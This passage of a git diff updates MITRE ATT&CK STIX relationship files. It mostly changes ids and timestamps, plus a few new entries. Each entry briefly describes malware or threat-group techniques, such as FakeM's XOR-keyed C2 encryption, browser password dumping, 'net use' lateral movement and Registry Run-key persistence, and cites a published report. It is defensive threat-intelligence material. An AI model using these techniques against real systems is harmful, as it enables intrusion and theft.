-    "id": "bundle--88399177-f005-42cf-9b71-445ed3cd7162",
+    "id": "bundle--4aa9ffcb-086a-4cae-bc63-60f3215d4f70",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a00d3582-7c2d-45dc-8580-1de25356ae70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. FakeM has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a.json b/enterprise-attack/relationship/relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a.json
index de8c98a44b..2ec3ddcdcd 100644
--- a/enterprise-attack/relationship/relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a.json
+++ b/enterprise-attack/relationship/relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de79d996-9b73-477e-b4a0-616c9abafa6d",
+    "id": "bundle--00cc21c2-f568-429d-8e63-95e0289c4052",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to retrieve files from its C2 server.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--a02da835-676d-47df-86c6-547a7d29dbae.json b/enterprise-attack/relationship/relationship--a02da835-676d-47df-86c6-547a7d29dbae.json
index d1a5c5123e..a2e09fc17f 100644
--- a/enterprise-attack/relationship/relationship--a02da835-676d-47df-86c6-547a7d29dbae.json
+++ b/enterprise-attack/relationship/relationship--a02da835-676d-47df-86c6-547a7d29dbae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d61ae2b4-b099-45ef-82a0-4c017b5f8aae",
+    "id": "bundle--5004c42d-dc07-4468-8b7c-3335833f7238",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca.json b/enterprise-attack/relationship/relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca.json
new file mode 100644
index 0000000000..89ad273c5f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--931e6e4b-08f0-4bb1-b5d6-d5d44bb4de22",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a.json b/enterprise-attack/relationship/relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a.json
index cbb04b7e36..36179cda4c 100644
--- a/enterprise-attack/relationship/relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a.json
+++ b/enterprise-attack/relationship/relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b8d3549-a1d6-4905-b5b7-7e02262122f7",
+    "id": "bundle--f90e4ca2-addd-4593-8364-ca77e6d5cee4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
diff --git a/enterprise-attack/relationship/relationship--a08dadbf-6f68-415f-9daa-f84571af83a2.json b/enterprise-attack/relationship/relationship--a08dadbf-6f68-415f-9daa-f84571af83a2.json
index 414078af2c..3eb8f6f725 100644
--- a/enterprise-attack/relationship/relationship--a08dadbf-6f68-415f-9daa-f84571af83a2.json
+++ b/enterprise-attack/relationship/relationship--a08dadbf-6f68-415f-9daa-f84571af83a2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1c720c0-e80f-4ad7-968f-ccdcfe54e932",
+    "id": "bundle--091e29ae-70e1-4e03-9c92-c952080379b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a08dadbf-6f68-415f-9daa-f84571af83a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes collects the victim computer name.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0.json b/enterprise-attack/relationship/relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0.json
index 4d1ce99f4c..9939fe3300 100644
--- a/enterprise-attack/relationship/relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0.json
+++ b/enterprise-attack/relationship/relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cdc0fb87-bbea-4ce3-8037-3e6506dd23e3",
+    "id": "bundle--91231154-80ae-4ee5-b87b-8c90a1e5d619",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly used a signed credential-dumping tool to obtain victim account credentials.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
diff --git a/enterprise-attack/relationship/relationship--a0f1273a-e422-4801-a911-e7cb223ebea2.json b/enterprise-attack/relationship/relationship--a0f1273a-e422-4801-a911-e7cb223ebea2.json
index 667109fcf8..c34c4a2d66 100644
--- a/enterprise-attack/relationship/relationship--a0f1273a-e422-4801-a911-e7cb223ebea2.json
+++ b/enterprise-attack/relationship/relationship--a0f1273a-e422-4801-a911-e7cb223ebea2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ca2d317-888a-4717-974d-56c0ca10d2a0",
+    "id": "bundle--ab0088c7-d1a8-4fd9-81b7-af588ddf1443",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can list connected devices.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038.json b/enterprise-attack/relationship/relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038.json
index ebdbf9e9b4..e9625d32df 100644
--- a/enterprise-attack/relationship/relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038.json
+++ b/enterprise-attack/relationship/relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5a9d557-5037-4357-9c8d-0d45984ff6b9",
+    "id": "bundle--71239a00-f17f-42ea-acec-e456841c960c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic is Base64-encoded plaintext.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c.json b/enterprise-attack/relationship/relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c.json
new file mode 100644
index 0000000000..12cbf0c68c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ea7c0dd7-e9db-4410-836e-3a62c1449bd5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a1684fef-eca9-418a-ab48-b9aad4101c6c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab.json b/enterprise-attack/relationship/relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab.json
index 2d9955e12a..7ca4ea3961 100644
--- a/enterprise-attack/relationship/relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab.json
+++ b/enterprise-attack/relationship/relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--66bb5b96-5743-499e-a1a1-47b62d53c6ac",
+    "id": "bundle--cd2a5aa9-7471-4260-a433-6f2d5d9f4270",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
diff --git a/enterprise-attack/relationship/relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758.json b/enterprise-attack/relationship/relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758.json
index 5dc9adc253..508ea4d58f 100644
--- a/enterprise-attack/relationship/relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758.json
+++ b/enterprise-attack/relationship/relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--746b6149-c692-41d1-ba07-2a070149586d",
+    "id": "bundle--66a28c91-284d-4b22-aa50-3923d5aec065",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--a1e74408-5c7b-4538-afd9-a01b23a92429.json b/enterprise-attack/relationship/relationship--a1e74408-5c7b-4538-afd9-a01b23a92429.json
index a5ff678afb..74a27b96de 100644
--- a/enterprise-attack/relationship/relationship--a1e74408-5c7b-4538-afd9-a01b23a92429.json
+++ b/enterprise-attack/relationship/relationship--a1e74408-5c7b-4538-afd9-a01b23a92429.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e2e57ab-1f4e-4e71-a0c7-610bbd09fcf8",
+    "id": "bundle--ce19c9aa-f152-49e8-80be-7ccb00a8b508",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a1e74408-5c7b-4538-afd9-a01b23a92429",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has a command to download a file to the system from its C2 server.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--a1e9769e-5172-4959-84d3-5a28796f86e1.json b/enterprise-attack/relationship/relationship--a1e9769e-5172-4959-84d3-5a28796f86e1.json
index 17ae5a6b0a..545bbc4269 100644
--- a/enterprise-attack/relationship/relationship--a1e9769e-5172-4959-84d3-5a28796f86e1.json
+++ b/enterprise-attack/relationship/relationship--a1e9769e-5172-4959-84d3-5a28796f86e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--097e8174-c170-4faa-8e9b-42d5a98aa51f",
+    "id": "bundle--a95c4064-2183-4523-973b-6b5460076707",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type runs tests to determine the privilege level of the compromised user.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe.json b/enterprise-attack/relationship/relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe.json
index 1a101f2be3..7af5e738b7 100644
--- a/enterprise-attack/relationship/relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe.json
+++ b/enterprise-attack/relationship/relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e79588fd-64f7-4102-ad07-ce0ce0b38709",
+    "id": "bundle--cf0bb389-bd93-431c-8413-e7d14c2cd52b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec",
             "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
diff --git a/enterprise-attack/relationship/relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501.json b/enterprise-attack/relationship/relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501.json
index 97cb8ed9c6..ec5a925a13 100644
--- a/enterprise-attack/relationship/relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501.json
+++ b/enterprise-attack/relationship/relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--90800fd9-79af-4753-b710-badf46bc3a0b",
+    "id": "bundle--90164423-5c76-4328-a8d5-43c4f8d199cb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as CHOPSTICK use a blend of HTTP and other legitimate channels, depending on module configuration.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690.json b/enterprise-attack/relationship/relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690.json
index 3deb41ff41..2f7450f1e7 100644
--- a/enterprise-attack/relationship/relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690.json
+++ b/enterprise-attack/relationship/relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fc65757-aebd-4d1f-bab6-32a0dbb9e8b0",
+    "id": "bundle--a9354c89-bef6-427f-b1c6-08a155ff41cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon executes functions using rundll32.exe.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b.json b/enterprise-attack/relationship/relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b.json
index 82efd13fdb..5f03ffc0ee 100644
--- a/enterprise-attack/relationship/relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b.json
+++ b/enterprise-attack/relationship/relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c20ac35-5849-4742-b895-97c6f2ce50d6",
+    "id": "bundle--95ae0cb4-95b2-41f7-ae44-251f64afa8a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type communicates over common ports such as TCP 80, 443, and 25.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--a2423ac3-94b4-4936-962b-06562115cb70.json b/enterprise-attack/relationship/relationship--a2423ac3-94b4-4936-962b-06562115cb70.json
index 381ee0d6b9..854181ca29 100644
--- a/enterprise-attack/relationship/relationship--a2423ac3-94b4-4936-962b-06562115cb70.json
+++ b/enterprise-attack/relationship/relationship--a2423ac3-94b4-4936-962b-06562115cb70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e83f412e-34b0-4a8f-b53e-6f52805e9567",
+    "id": "bundle--9bd0d712-39df-472e-a210-30a597374911",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lateral movement can be done with Net through <code>net use</code> commands to connect to the  on remote systems.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--a24299ed-9735-453c-bd13-66269b2d5d16.json b/enterprise-attack/relationship/relationship--a24299ed-9735-453c-bd13-66269b2d5d16.json
new file mode 100644
index 0000000000..70b643e9e5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a24299ed-9735-453c-bd13-66269b2d5d16.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0871e6ea-2345-471f-94ee-892032486860",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a24299ed-9735-453c-bd13-66269b2d5d16",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used automated collection.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a29d9514-3284-4ac2-a93a-e17750519534.json b/enterprise-attack/relationship/relationship--a29d9514-3284-4ac2-a93a-e17750519534.json
index 5089947ebf..32593f6ce3 100644
--- a/enterprise-attack/relationship/relationship--a29d9514-3284-4ac2-a93a-e17750519534.json
+++ b/enterprise-attack/relationship/relationship--a29d9514-3284-4ac2-a93a-e17750519534.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--385b9370-2bd6-4d0b-9c2c-88eaf5814025",
+    "id": "bundle--f7e940b7-7a02-4f65-b1a3-897fe5c19e55",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a29d9514-3284-4ac2-a93a-e17750519534",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can add a Run key entry in the Registry to establish persistence.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8.json b/enterprise-attack/relationship/relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8.json
index a68c12823e..c828822702 100644
--- a/enterprise-attack/relationship/relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8.json
+++ b/enterprise-attack/relationship/relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b464d977-cee3-48b3-a772-7dc65493a342",
+    "id": "bundle--22640c24-21cc-4ec2-965d-2e91c90128e4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS is capable of executing commands via cmd.exe.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d.json b/enterprise-attack/relationship/relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d.json
new file mode 100644
index 0000000000..c28733d7cd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--81ca2d88-9a16-4127-9423-09acf1326660",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a.json b/enterprise-attack/relationship/relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a.json
index 21ba4572be..c72147722c 100644
--- a/enterprise-attack/relationship/relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a.json
+++ b/enterprise-attack/relationship/relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--21667adb-886e-419e-8eb8-4538e6a734b6",
+    "id": "bundle--b0dcd7dc-6e94-4085-8ce5-c5b15e9be204",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
